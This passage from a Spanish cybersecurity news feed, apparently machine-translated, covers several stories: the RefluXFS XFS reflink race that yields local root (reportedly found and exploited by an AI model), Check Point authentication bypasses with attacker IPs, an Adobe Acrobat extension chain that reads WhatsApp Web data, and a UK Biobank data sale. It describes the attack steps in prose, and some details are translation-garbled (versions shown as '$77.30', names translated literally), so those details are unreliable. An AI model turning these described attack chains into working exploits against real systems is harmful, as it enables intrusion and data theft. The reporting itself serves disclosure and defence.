El aviso enumera las instalaciones predeterminadas que pueden cumplir esas condiciones: Red Hat Enterprise Linux, CentOS Stream, Oracle Linux, Rocky Linux, AlmaLinux y CloudLinux 8, 9 y 10, Fedora Server 31 y posteriores, Amazon Linux 2023 e imágenes de Amazon Linux 2 desde diciembre de 2022 en adelante. Los sistemas de archivos RHEL 7 no se ven afectados porque son anteriores al soporte de reflink XFS.

Debian, Ubuntu, SLES y openSUSE generalmente no usan XFS para el sistema de archivos raíz de forma predeterminada. Están expuestos sólo si un administrador elige XFS con reflink habilitado en el momento de la instalación.

Verifique el sistema de archivos raíz:

xfs_info / | grep reflink=

reflink=1 significa que se cumple la condición dos. Ejecute la misma comprobación en cualquier otro volumen XFS montado donde un archivo protegido y un directorio grabable por el atacante compartan el sistema de archivos.

El mapeo obsoleto

Un atacante clona un archivo de propiedad raíz en un archivo borrador con FICLONEque solo necesita acceso de lectura en la fuente, luego corre simultáneamente O_DIRECT escribe contra el clon. Los enlaces de referencia XFS utilizan copia en escritura, por lo que ambos archivos inicialmente hacen referencia a los mismos bloques de disco físico.

El kernel lee el mapeo de bifurcación de datos bajo el bloqueo de inodo y se lo entrega a xfs_reflink_fill_cow_hole()que realiza un ciclo de ese bloqueo para reservar espacio de transacción.

Un segundo escritor puede completar la operación de copia en escritura durante ese intervalo y reasignar el archivo clonado a un nuevo bloque. Cuando el primer escritor vuelve a adquirir el bloqueo, actualiza la bifurcación de copia en escritura pero continúa usando la antigua asignación de bifurcación de datos.

El parche ascendente describe la falla claramente: «las asignaciones quedan obsoletas tan pronto como volvemos a adquirir ILOCK».

Esa dirección obsoleta ahora apunta a un bloque que pertenece únicamente al archivo protegido original. XFS ve el bloque como no compartido y permite la escritura directa, por lo que los datos destinados al clon del atacante llegan al objetivo.

Es un error de verificación y uso durante un ciclo de bloqueo. La consulta de estado compartido en sí es correcta; lo que consulta es una dirección de bloque capturada antes de que se liberara el bloqueo.

The Hacker News descubrió que el parche afecta a dos ayudantes, xfs_reflink_fill_cow_hole() y xfs_reflink_fill_delalloc(). El segundo tiene el mismo patrón de ciclo de bloqueo y no aparece en el aviso de Qualys. En ambos, las instantáneas de corrección. ip->i_df.if_seq antes de que se caiga el bloqueo y vuelve a leer la bifurcación de datos con xfs_bmapi_read() si el contador se movía.

La E/S directa omite el caché de la página y no tiene enlace de revalidación, por lo que la escritura llega al disco. Debido a que omite por completo el inodo objetivo, los metadatos nunca cambian y los investigadores dijeron que sus pruebas no produjeron ninguna advertencia del núcleo ni entrada de registro.

En la máquina de pruebas, la carrera se ganaba normalmente en menos de diez segundos. La demostración publicada elimina la contraseña de root en un cuadro RHEL 10.2 predeterminado.

Qualys dijo que un modelo de IA encontró la falla. La compañía señaló Claude Mythos Preview, el modelo de frontera de acceso restringido de Anthropic, al núcleo y, según su asesoramiento técnico«le pidió que encontrara una vulnerabilidad similar a Dirty COW».

El modelo localizó la carrera, escribió un exploit de raíz funcional y redactó el aviso. Luego, los investigadores lo reprodujeron en una instalación estándar de Fedora Server 44, verificaron el razonamiento del modelo y coordinaron la divulgación en sentido ascendente.

No es el primer error de kernel antiguo que sufre el equipo este año. Qualys ha estado encontrando muchos de estos. Un día antes, reveló una falla de confinamiento instantáneo en Ubuntu Desktop, CVE-2026-8933donde dos razas permiten que un usuario local obtenga root en instalaciones predeterminadas. En mayo encontró un error de nueve años de antigüedad en las comprobaciones de seguimiento del núcleo.

Parchear, luego reiniciar

sombrero rojo ha emitido avisos de kernel con clasificación importante en las transmisiones RHEL 8, 9 y 10 afectadas. La errata comenzó a llegar el 14 de julio, ocho días antes de la divulgación coordinada: RHSA-2026:39179 y RHSA-2026:39180 para RHEL 8 y RHSA-2026:39494 para RHEL 10, con soporte extendido y flujos de SAP hasta el 17 de julio.

La cobertura es específica de cada transmisión, así que confirme que exista un aviso para su versión exacta. Cualquiera que aplicara esas erratas a tiempo estaba cubierto antes de que RefluXFS tuviera un nombre. Verifique las fechas de sus parches antes de asumir la exposición.

el vendedor rastreador de errores presenta la falla bajo el título «kernel: corrupción de datos XFS usando reflink». La entrada se importó automáticamente el 10 de julio e inicialmente describía el problema como una posible corrupción de datos al volver a vincular un archivo.

Ciberseguridad

A partir del 23 de julio, rastreador de Debian enumeró la solución en trixie-security como kernel 6.12.96-1 y en inestable como 7.1.4-1. El núcleo base de Trixie 6.12.94-1 y forky 7.1.3-1 todavía estaban marcados como vulnerables, al igual que los ratones de biblioteca y los diana, incluidas sus ramas de seguridad.

No existe una opción de montaje o sysctl que deshabilite los enlaces de referencia XFS después de que se haya creado un sistema de archivos, y Qualys dijo que no hay ninguna mitigación práctica o cambio de configuración temporal disponible. SELinux en modo Enforcing, seccomp, bloqueo del kernel y límites de contenedores no lograron detenerlo en las pruebas de la compañía. Las protecciones de memoria como KASLR y SMEP nunca se aplicaron: se trata de una escritura en la capa de bloque, no de una corrupción de la memoria.

Un límite aparente no lo es. La carrera solo se activa si el bloque del objetivo comienza sin compartir, por lo que no se puede acceder a un archivo que un administrador ya haya copiado mediante reflink. El aviso dice que un usuario sin privilegios puede restablecer esa condición ejecutando chshy que es poco probable que los binarios setuid-root hayan sido vinculados nuevamente en primer lugar.

Qualys no publicó ningún código de explotación independiente. El rastreador de Red Hat registró una prueba de concepto pública el 22 de julio, señalando el aviso publicado en la lista de seguridad de oss, que establece la carrera y los pasos de explotación en su totalidad. Ninguno de los proveedores que rastrearon la falla había informado de explotación en estado salvaje al momento de escribir este artículo.

The Hacker News se comunicó con Red Hat para comentar sobre su evaluación del impacto de la falla y con Qualys para obtener más detalles sobre el hallazgo, y actualizará esta historia con cualquier respuesta.

La instalación del paquete no reemplaza el kernel que ya se está ejecutando en la memoria. Aplique la actualización del proveedor, reinicie el sistema y verifique que esté ejecutando el kernel reparado.

Check Point Patches aprovechó el defecto de SmartConsole que permitía acceso completo al administrador – CYBERDEFENSA.MX

Punto de control tiene liberado actualizaciones de seguridad para abordar múltiples vulnerabilidades que afectan los productos de administración de seguridad y administración de dominios múltiples (MDSM), incluida una falla crítica que ha surgido bajo explotación activa en la naturaleza.

La falla de seguridad, rastreada como CVE-2026-16232 (puntuación CVSS: 9,3), es una omisión de autenticación que afecta el proceso de inicio de sesión de Check Point SmartConsole y que permite a un atacante remoto no autenticado obtener un token de inicio de sesión de la aplicación y usarlo para autenticarse con privilegios administrativos completos.

«La explotación exitosa permite al atacante modificar las políticas y configuraciones de seguridad», según una descripción de la falla en CVE.org. «La explotación remota requiere acceso a Internet a la dirección IP del servidor de administración y una configuración que no restrinja los clientes de confianza».

Ciberseguridad

Lotem Finkelstein, vicepresidente de investigación de Check Point, dijo que la compañía es consciente de que un pequeño número de clientes está siendo atacado por esta falla y que ya les ha notificado. No reveló la naturaleza de los ataques ni cuándo fueron descubiertos.

«Esto sólo afecta a una configuración muy específica: cuando la administración está expuesta directamente a Internet sin restricciones de IP», añadió Finkelstein.

El proveedor de ciberseguridad ha compartido los siguientes indicadores de compromiso (IoC) asociados con la actividad:

  • 151.241.99[.]207
  • 151.241.99[.]233
  • 158.62.198[.]182
  • 192.142.10[.]99
  • 139.28.37[.]250
  • 194.213.18[.]137

También se han lanzado parches para otras dos fallas:

  • CVE-2026-62144 (Puntuación CVSS: 9,3): una vulnerabilidad de omisión de autenticación en Check Point Security Management y Multi-Domain Security Management que permite a un atacante remoto no autenticado ejecutar comandos administrativos en Management Server, incluidos run-script y exec-command en Security Gateway.
  • CVE-2026-62145 (Puntuación CVSS: 7,5): una vulnerabilidad de gestión de privilegios inadecuada en Check Point Gaia Portal que permite a un atacante autenticado con privilegios de solo lectura de Gaia Portal ejecutar comandos con privilegios de root.

Como en el caso de CVE-2026-16232, la explotación exitosa de CVE-2026-62144 requiere acceso de administración sin protección de firewall o sin restricciones en los clientes de confianza (clientes GUI). Los tres problemas afectan las siguientes versiones:

  • $77.30
  • R80
  • $80.10
  • $80.20
  • $80.30
  • R81
  • $81.10
  • $81.20
  • R82
  • $82.10
Ciberseguridad

Se recomienda a los clientes aplicar la revisión Jumbo del 22 de julio, limitar los Clientes confiables (clientes GUI) a direcciones IP/subredes confiables, proteger el acceso a la administración con Firewall y restringir el acceso a direcciones IP confiables.

El desarrollo ha llevado a la Agencia de Seguridad de Infraestructura y Ciberseguridad de EE. UU. (CISA) a agregar la falla de sus vulnerabilidades explotadas conocidas (KEV), que exige que las agencias del Poder Ejecutivo Civil Federal (FCEB) apliquen las correcciones necesarias antes del 25 de julio de 2026.

Un fallo en la extensión de Adobe Acrobat permite que sitios maliciosos lean datos web de WhatsApp – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado detalles de un cadena de vulnerabilidad ahora parcheada en la extensión Adobe Acrobat Chrome que tiene más de 314 millones de usuarios y que, de ser explotada, podría facilitar un secuestro silencioso de los datos de WhatsApp de un usuario.

La deficiencia ha sido nombrada en código. Lector hermético por Laboratorios Guardio. Se rastrea oficialmente como CVE-2026-48294 (Puntuación CVSS: 7,4), y la vulnerabilidad se describe como un caso de vulnerabilidad de divulgación de datos de origen cruzado de clase de secuencias de comandos entre sitios universales (UXSS). Afecta a todas las versiones de la extensión (ID: efaidnbmnnnibpcajpcglclefindmkaj) antes e incluyendo 26.5.2.2.

La explotación exitosa de la falla puede eludir la política del mismo origen del navegador y acceder a los datos vinculados a la sesión de la víctima en todos los orígenes. El único requisito previo es que requiera la interacción del usuario. Se debe convencer a la víctima para que visite una URL creada con fines malintencionados o interactúe con una página web comprometida que active la ruta del código vulnerable de la extensión.

Ciberseguridad

En otras palabras, un atacante puede utilizar la falla como arma para obtener acceso de lectura de origen cruzado a datos vinculados a sesiones. Esto puede incluir contenido autenticado de aplicaciones web de terceros cargadas en el navegador de la víctima.

«La configuración es casi insultantemente ordinaria: una página controlada por un atacante, diseñada para parecerse al tipo de página a la que se llega a través de resultados de búsqueda, correos electrónicos de marketing, etc.», dijo el investigador de Guardio Labs, Shaked Biner, en un informe compartido con The Hacker News. «El visitante, que ya tiene instalada la extensión Adobe Acrobat, abre esa página».

«La página activa un motor inactivo dentro de la extensión y llega directamente a WhatsApp Web. Segundos después, la vista web renderizada de WhatsApp (la lista de chat, los nombres de los contactos, los mensajes, el nombre del perfil, el texto de cualquier conversación abierta) es todo WhatsApp en manos del atacante».

Lo notable de la falla es que no requiere que un mal actor instale malware a través de otros medios, phishing las credenciales de un usuario o extraiga su cookie de sesión. Todo lo que necesita es que la víctima visite la página web diseñada.

La secuencia completa de acciones es la siguiente:

  • Una página controlada por un atacante llama a un elemento iframe cargado desde los recursos de extensión.
  • El iframe envía comandos para modificar la configuración y activar el motor Hermes, que maneja la integración de WhatsApp en la extensión solo si se habilita una característica específica («floodgate-add»).
  • La página del atacante abre WhatsApp Web en una pestaña del navegador en segundo plano.
  • El iframe envía comandos directamente al motor dirigidos a la pestaña de WhatsApp después de obtener el ID numérico de la pestaña.
  • El motor manipula WhatsApp Web inyectando un formulario POST en el DOM de WhatsApp para robar datos de WhatsApp.

«¿Por qué enviar un formulario lleva el texto del chat fuera del origen de WhatsApp? Dos habilitadores de las especificaciones HTML: un elemento de opción sin atributo de valor envía su contenido de texto, y el contenido de texto de un nodo es la concatenación de todo lo que se representa debajo de él», explicó Biner. «¡Mueva el cuerpo vivo y el valor enviado de la opción se convertirá en el texto completo de la página renderizada!»

Ciberseguridad

«El segundo facilitador es que la política de seguridad de contenido de WhatsApp Web no incluye ninguna directiva de acción de formulario, y según la especificación, esa ausencia significa que un envío de formulario de nivel superior puede navegar a cualquier origen. Por lo tanto, WhatsApp mismo realiza la navegación, PUBLICANDO su propio DOM renderizado en nuestro punto final controlado y luego procesando diligentemente todo lo que enviamos de regreso».

Como resultado, un actor de amenazas puede explotar HermeticReader para capturar la lista de chat renderizada, los nombres de los contactos, las vistas previas de los mensajes, el nombre del perfil y el texto visible de la conversación abierta.

«La industria centra su atención en las dramáticas clases de hazañas y deja que la plomería suponga que nadie las examinará detenidamente», concluyó Guardio. «La composición es la amenaza. Los defectos a nivel de plomería se convierten en el colapso a nivel del edificio, y cuanto mayor es la base de instalación, más tiempo permanece el edificio antes de que alguien revise las juntas».

Los datos de medio millón de pacientes británicos, a la venta en Alibaba – CYBERDEFENSA.MX

Detalles médicos pertenecientes a medio millón de ciudadanos británicos han aparecido a la venta en la plataforma de comercio electrónico Alibaba, según ha confirmado el Gobierno del Reino Unido. La información procede del prestigioso proyecto de investigación UK Biobank, una de las mayores bases de datos biomédicos del mundo.

Aunque los listados fueron retirados rápidamente y no se tiene constancia de que llegara a producirse ninguna compra, el incidente ha generado una fuerte preocupación sobre la seguridad de los datos científicos sensibles.

Los ciberdelincuentes se habrían hecho con datos genéticos y secuencias de ADN, historiales médicos y pruebas clínicas, información sobre hábitos de vida y factores socioeconómicos, así como resultados de escáneres y muestras biológicas. 

No obstante, las autoridades británicas han subrayado que toda esta información estaba anonimizada. Es decir, no había nombres, direcciones ni números de la Seguridad Social. Aún así, el riesgo para los afectados todavía existiría si se cruzan con otras fuentes. No hubo pirateo

Desde Uk Biobank han asegurado que esta filtración no se habría originado por un hackeo exteno ni por un ataque contra los sistemas de Uk Biobank, sino por un uso indebido por parte de investigadores autorizados. 

En este caso, según la investigación preliminar del propio UK Biobank y el Gobierno británico, tres instituciones que tenían acceso legítimo habrían descargado los datos y, posteriormente, los habrían puesto a la venta en Alibaba.

Como respuesta, el organismo biomédico ha revocado el acceso a esas instituciones y ha suspendido temporalmente el acceso a su base mientras revisa sus sistemas de seguridad. 

UK Biobank ha descrito el incidente como una «violación de confianza» y ha anunciado nuevas medidas de seguridad para evitar que algo similar vuelva a repetirse. 

El Gobierno británico, junto con las autoridades chinas y Alibaba, colaboró para eliminar los anuncios. El Ejecutivo ha solicitado una revisión urgente de los protocolos de acceso y exportación de datos, mientras que el caso ha sido notificado al regulador británico de protección de datos (ICO).